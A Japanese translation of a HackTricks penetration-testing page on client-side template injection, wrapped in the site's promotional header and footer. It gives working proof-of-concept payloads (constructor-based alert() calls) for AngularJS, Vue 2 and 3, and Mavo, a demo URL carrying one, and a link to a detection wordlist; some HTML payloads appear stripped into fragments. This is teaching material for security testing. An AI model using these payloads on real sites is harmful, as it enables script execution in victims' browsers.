☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 - [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 - [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** - **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
# 概要 これは**クライアント**側での[**サーバーサイドテンプレートインジェクション**](ssti-server-side-template-injection/)のようなものです。**SSTI**はリモートサーバーで**コードを実行**することができますが、**CSTI**は被害者で**任意のJavaScriptコードを実行**することができます。 この脆弱性をテストする方法は、**SSTI**の場合と非常に**似ています**。インタプリタは、**二重のキー**の間に実行するものを期待し、それを実行します。たとえば、`{{ 7-7 }}`のようなものを使用すると、サーバーが**脆弱**であれば`0`が表示され、そうでなければ元の`{{ 7-7 }}`が表示されます。 # AngularJS AngularJSは人気のあるJavaScriptライブラリで、**`ng-app`**属性(AngularJSディレクティブとも呼ばれる)を含むHTMLノードの内容をスキャンします。ディレクティブがHTMLコードに追加されると、**二重の中括弧内でJavaScript式を実行**することができます。\ たとえば、**入力**がHTMLの**body**内に**反映**されており、bodyが`ng-app`で定義されている場合:**``** 次のように、**body**に追加することで、**任意のJavaScriptコードを実行**することができます: ```javascript {{$on.constructor('alert(1)')()}} {{constructor.constructor('alert(1)')()}}
``` **AngularJS**の脆弱性の非常に**基本的なオンライン例**は、[http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/)で見つけることができます。 {% hint style="danger" %} [**Angular 1.6ではサンドボックスが削除**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html#:\~:text=The%20Angular%20expression%20sandbox%20will,smaller%20and%20easier%20to%20maintain.\&text=Removing%20the%20expression%20sandbox%20does,surface%20of%20Angular%201%20applications.)されたため、このバージョンから`{{constructor.constructor('alert(1)')()}}`や``のようなペイロードが機能するはずです。 {% endhint %} # VueJS **脆弱なvue.js**の実装は、[https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)で見つけることができます。\ 動作するペイロード:[`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D) また、脆弱な例の**ソースコード**はこちらです:[https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example) ```markup ">
aaa
``` VUEにおけるCSTIに関する非常に良い投稿は、[https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)で見つけることができます。 ## **V3** ``` {{_openBlock.constructor('alert(1)')()}} ``` クレジット:[Gareth Heyes、Lewis Ardern、PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) ## **V2** ``` {{constructor.constructor('alert(1)')()}} ``` クレジット:[Mario Heiderich](https://twitter.com/cure53berlin) **さらにVUEのペイロードをチェックする** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected) # Mavo ペイロード: ``` [7*7] [(1,alert)(1)]
{{top.alert(1)}}
[self.alert(1)] javascript:alert(1)%252f%252f..%252fcss-images [Omglol mod 1 mod self.alert (1) andlol] [''=''or self.alert(lol)] test
lolxself.alert('lol')lolx
test [self.alert(1)mod1] ``` **さらなるペイロードは**[**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations) **にあります** # **ブルートフォース検出リスト** {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝したいですか?** または、**PEASSの最新バージョンにアクセスしたいですか?** または、**HackTricksをPDFでダウンロードしたいですか?** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - [**The PEASS Family**](https://opensea.io/collection/the-peass-family) **を発見しましょう**、**独占的なNFTのコレクション**です。 - [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 - **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、**[telegramグループ](https://t.me/peass)**に参加するか、**Twitter**で**私をフォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。